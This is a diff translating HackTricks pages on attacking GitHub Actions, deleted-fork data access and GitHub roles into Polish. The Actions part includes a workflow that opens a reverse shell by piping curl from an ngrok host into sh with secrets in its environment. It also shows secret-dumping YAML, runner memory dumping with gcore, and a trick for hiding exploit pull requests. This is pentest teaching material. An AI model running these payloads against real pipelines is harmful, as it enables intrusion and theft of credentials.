+## Inny dostęp zewnętrzny
-### Deleted Namespace Repo Hijacking
+### Przejęcie usuniętego repozytorium namespace
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało **mniej niż 100 gwiazdek przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie na utworzenie **repozytorium o tej samej nazwie** co usunięte.
> [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+> Jeśli akcja korzysta z repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i skompromitować akcję.
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytkownika**, atakujący będzie mógł je przejąć. Oto bardziej szczegółowe wyjaśnienie: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
-## Repo Pivoting
+## Przełączanie repozytoriów
> [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
+> W tej sekcji omówimy techniki, które pozwolą na **przełączenie z jednego repozytorium do drugiego**, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).
-### Cache Poisoning
+### Zatrucie pamięci podręcznej
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprmituje** **pakiet**, który następnie jest przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprmitować** ten workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Artifact Poisoning
+### Zatrucie artefaktów
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**. Jeśli atakujący zdoła **skomprmitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprmitować inne workflow**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation from an Action
+## Po eksploatacji z akcji
-### Accessing AWS and GCP via OIDC
+### Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC
-Check the following pages:
+Sprawdź następujące strony:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Accessing secrets
+### Uzyskiwanie dostępu do sekretów
-If you are injecting content into a script it's interesting to know how you can access secrets:
+Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak możesz uzyskać dostęp do sekretów:
-- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- Jeśli sekret lub token jest ustawiony jako **zmienna środowiskowa**, można go bezpośrednio uzyskać przez środowisko, używając **`printenv`**.
-List secrets in Github Action output
-
+Lista sekretów w wyjściu Github Action
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - '**'
- push: # Run it when a push is made to a branch
- branches:
- - '**'
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- '**'
+push: # Run it when a push is made to a branch
+branches:
+- '**'
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Uzyskaj powłokę odwrotną z sekretami
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- - ```bash
- cat /home/runner/work/_temp/*
- ```
-- For a JavaScript actions the secrets and sent through environment variables
- - ```bash
- ps axe | grep node
- ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- Jeśli sekret jest używany **bezpośrednio w wyrażeniu**, wygenerowany skrypt powłoki jest przechowywany **na dysku** i jest dostępny.
+- ```bash
+cat /home/runner/work/_temp/*
+```
+- W przypadku akcji JavaScript sekrety są przesyłane przez zmienne środowiskowe.
+- ```bash
+ps axe | grep node
+```
+- W przypadku **niestandardowej akcji** ryzyko może się różnić w zależności od tego, jak program używa uzyskanego sekretu z **argumentu**:
- ```yaml
- uses: fakeaction/publish@v3
- with:
- key: ${{ secrets.PUBLISH_KEY }}
- ```
+```yaml
+uses: fakeaction/publish@v3
+with:
+key: ${{ secrets.PUBLISH_KEY }}
+```
-### Abusing Self-hosted runners
+### Wykorzystywanie samodzielnie hostowanych runnerów
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github.
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
-
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
+W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie, zrzucając jego pamięć:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
+Sprawdź [**ten post w celu uzyskania więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+### Rejestr obrazów Docker w Github
-### Github Docker Images Registry
-
-It's possible to make Github actions that will **build and store a Docker image inside Github**.\
-An example can be find in the following expandable:
+Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker w Github**.\
+Przykład można znaleźć w następującym rozwijanym:
Github Action Build & Push Docker Image
-
```yaml
[...]
- name: Set up Docker Buildx
- uses: docker/setup-buildx-action@v1
+uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
- uses: docker/login-action@v1
- with:
- registry: ghcr.io
- username: ${{ github.repository_owner }}
- password: ${{ secrets.ACTIONS_TOKEN }}
+uses: docker/login-action@v1
+with:
+registry: ghcr.io
+username: ${{ github.repository_owner }}
+password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
- run: |
- sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
+run: |
+sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
- uses: docker/build-push-action@v2
- with:
- context: .
- push: true
- tags: |
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
+uses: docker/build-push-action@v2
+with:
+context: .
+push: true
+tags: |
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
-
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
-
-A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
+Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.
+Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-
Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
-### Sensitive info in Github Actions logs
+### Wrażliwe informacje w logach Github Actions
-Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich pokazywania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany tajną wartością nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
-## Covering your Tracks
+## Zacieranie śladów
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
+(Teknika z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo sprawić, by twoje **konto GitHub zostało zawieszone, albo oznaczyć swoje konto**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR z exploitami).
-An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
+Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swój exploit niewidocznym na githubie.
> [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> Jedynym sposobem, aby organizacja dowiedziała się, że została celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty.
-## Tools
+## Narzędzia
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+Następujące narzędzia są przydatne do znajdowania workflow Github Action, a nawet do znajdowania podatnych:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index ae156de2d..7b01f94fd 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1,6 +1 @@
-# Gh Actions - Artifact Poisoning
-
-
-
-
-
+# Gh Actions - Zatrucie Artefaktów
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 024aa5ff8..7965c4158 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1,6 +1 @@
-# GH Actions - Cache Poisoning
-
-
-
-
-
+# GH Actions - Zatrucie pamięci podręcznej
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 3cd632bd0..5a94e1e31 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,6 +1 @@
-# Gh Actions - Context Script Injections
-
-
-
-
-
+# Gh Actions - Wstrzykiwanie skryptów kontekstowych
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index f19fa699e..1f7aa75f8 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -2,59 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Sposoby dostępu do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Accessing Deleted Fork Data
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
+1. Forkujesz publiczne repozytorium
+2. Zatwierdzasz kod do swojego forka
+3. Usuwasz swojego forka
> [!CAUTION]
-> The data commited in the deleted fork is still accessible.
+> Dane zatwierdzone w usuniętym forku są nadal dostępne.
## Accessing Deleted Repo Data
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
+1. Masz publiczne repozytorium na GitHubie.
+2. Użytkownik forkował twoje repozytorium.
+3. Zatwierdzasz dane po tym, jak oni je forkowali (i nigdy nie synchronizują swojego forka z twoimi aktualizacjami).
+4. Usuwasz całe repozytorium.
> [!CAUTION]
-> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+> Nawet jeśli usunąłeś swoje repozytorium, wszystkie zmiany wprowadzone do niego są nadal dostępne przez forki.
## Accessing Private Repo Data
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
+1. Tworzysz prywatne repozytorium, które ostatecznie stanie się publiczne.
+2. Tworzysz prywatną, wewnętrzną wersję tego repozytorium (poprzez forkowanie) i zatwierdzasz dodatkowy kod dla funkcji, które nie zamierzasz udostępniać publicznie.
+3. Upubliczniasz swoje repozytorium "upstream" i zachowujesz swój fork jako prywatny.
> [!CAUTION]
-> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+> Możliwe jest uzyskanie dostępu do wszystkich danych przesłanych do wewnętrznego forka w czasie między utworzeniem wewnętrznego forka a udostępnieniem publicznej wersji.
## How to discover commits from deleted/hidden forks
-The same blog post propose 2 options:
+Ten sam wpis na blogu proponuje 2 opcje:
### Directly accessing the commit
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/`
+Jeśli znana jest wartość ID zatwierdzenia (sha-1), możliwe jest uzyskanie do niego dostępu pod adresem `https://github.com///commit/`
### Brute-forcing short SHA-1 values
-It's the same to access both of these:
+Dostęp do obu z nich jest taki sam:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-And the latest one use a short sha-1 that is bruteforceable.
+A ten ostatni używa krótkiego sha-1, który można złamać.
## References
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index ae1365a0f..2a28ca317 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,248 +1,242 @@
-# Basic Github Information
+# Podstawowe informacje o Githubie
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Podstawowa struktura
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
+Podstawowa struktura środowiska github w dużej **firmie** to posiadanie **przedsiębiorstwa**, które posiada **kilka organizacji**, a każda z nich może zawierać **kilka repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i żadnych przedsiębiorstw**.
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+Z punktu widzenia użytkownika, **użytkownik** może być **członkiem** **różnych przedsiębiorstw i organizacji**. W ramach nich użytkownik może mieć **różne role w przedsiębiorstwie, organizacji i repozytorium**.
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+Ponadto, użytkownik może być **częścią różnych zespołów** z różnymi rolami w przedsiębiorstwie, organizacji lub repozytorium.
-And finally **repositories may have special protection mechanisms**.
+I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
-## Privileges
+## Uprawnienia
-### Enterprise Roles
+### Role w przedsiębiorstwie
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Właściciel przedsiębiorstwa**: Osoby z tą rolą mogą **zarządzać administratorami, zarządzać organizacjami w ramach przedsiębiorstwa, zarządzać ustawieniami przedsiębiorstwa, egzekwować politykę w organizacjach**. Jednak nie **mogą uzyskać dostępu do ustawień organizacji ani treści**, chyba że zostaną właścicielem organizacji lub otrzymają bezpośredni dostęp do repozytorium należącego do organizacji.
+- **Członkowie przedsiębiorstwa**: Członkowie organizacji należących do twojego przedsiębiorstwa są również **automatycznie członkami przedsiębiorstwa**.
-### Organization Roles
+### Role w organizacji
-In an organisation users can have different roles:
+W organizacji użytkownicy mogą mieć różne role:
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie do mniej niż dwóch osób w twojej organizacji.
+- **Członkowie organizacji**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie, członkowie organizacji **mają szereg uprawnień**.
+- **Menedżerowie ds. rozliczeń**: Menedżerowie ds. rozliczeń to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń dla twojej organizacji**, takimi jak informacje o płatności.
+- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji.
+- Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli menedżera ds. bezpieczeństwa, aby dać członkom zespołu minimalny dostęp, którego potrzebują do organizacji.
+- **Menedżerowie aplikacji Github**: Aby umożliwić dodatkowym użytkownikom **zarządzanie aplikacjami GitHub należącymi do organizacji**, właściciel może przyznać im uprawnienia menedżera aplikacji GitHub.
+- **Zewnętrzni współpracownicy**: Zewnętrzny współpracownik to osoba, która ma **dostęp do jednego lub więcej repozytoriów organizacji, ale nie jest wyraźnie członkiem** organizacji.
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Możesz **porównać uprawnienia** tych ról w tej tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Members Privileges
+### Uprawnienia członków
-In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+W _https://github.com/organizations/\/settings/member_privileges_ możesz zobaczyć **uprawnienia, które użytkownicy będą mieli tylko za bycie częścią organizacji**.
-The settings here configured will indicate the following permissions of members of the organisation:
+Ustawienia skonfigurowane tutaj wskażą następujące uprawnienia członków organizacji:
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- Bycie administratorem, pisarzem, czytelnikiem lub brakiem uprawnień do wszystkich repozytoriów organizacji.
+- Czy członkowie mogą tworzyć prywatne, wewnętrzne lub publiczne repozytoria.
+- Czy możliwe jest forkowanie repozytoriów.
+- Czy możliwe jest zapraszanie zewnętrznych współpracowników.
+- Czy publiczne lub prywatne strony mogą być publikowane.
+- Uprawnienia, jakie mają administratorzy do repozytoriów.
+- Czy członkowie mogą tworzyć nowe zespoły.
-### Repository Roles
+### Role w repozytorium
-By default repository roles are created:
+Domyślnie role w repozytorium są tworzone:
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Odczyt**: Zalecane dla **współpracowników, którzy chcą przeglądać lub omawiać twój projekt**.
+- **Triage**: Zalecane dla **współpracowników, którzy muszą proaktywnie zarządzać problemami i pull requestami** bez dostępu do zapisu.
+- **Zapis**: Zalecane dla współpracowników, którzy **aktywnie wprowadzają zmiany do twojego projektu**.
+- **Zarządzanie**: Zalecane dla **menedżerów projektów, którzy muszą zarządzać repozytorium** bez dostępu do wrażliwych lub destrukcyjnych działań.
+- **Administrator**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytorium.
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Możesz **porównać uprawnienia** każdej roli w tej tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_
+Możesz również **utworzyć własne role** w _https://github.com/organizations/\/settings/roles_
-### Teams
+### Zespoły
-You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+Możesz **wymienić zespoły utworzone w organizacji** w _https://github.com/orgs/\/teams_. Zauważ, że aby zobaczyć zespoły, które są dziećmi innych zespołów, musisz uzyskać dostęp do każdego zespołu nadrzędnego.
-### Users
+### Użytkownicy
-The users of an organization can be **listed** in _https://github.com/orgs/\/people._
+Użytkownicy organizacji mogą być **wymieniani** w _https://github.com/orgs/\/people._
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+W informacji o każdym użytkowniku możesz zobaczyć **zespoły, których członkiem jest użytkownik**, oraz **repozytoria, do których użytkownik ma dostęp**.
-## Github Authentication
+## Uwierzytelnianie Github
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Github oferuje różne sposoby uwierzytelniania do twojego konta i wykonywania działań w twoim imieniu.
-### Web Access
+### Dostęp przez sieć
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+Uzyskując dostęp do **github.com**, możesz zalogować się używając swojego **nazwa użytkownika i hasła** (oraz **potencjalnie 2FA**).
-### **SSH Keys**
+### **Klucze SSH**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, pozwalając powiązanemu **kluczowi prywatnemu na wykonywanie działań w twoim imieniu.** [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG Keys**
+#### **Klucze GPG**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [trybie czujności tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
-### **Personal Access Tokens**
+### **Osobiste tokeny dostępu**
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Możesz wygenerować osobisty token dostępu, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia osobistego tokena dostępu, **użytkownik** musi **określić** **uprawnienia**, które **token** będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth Applications
+### Aplikacje Oauth
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
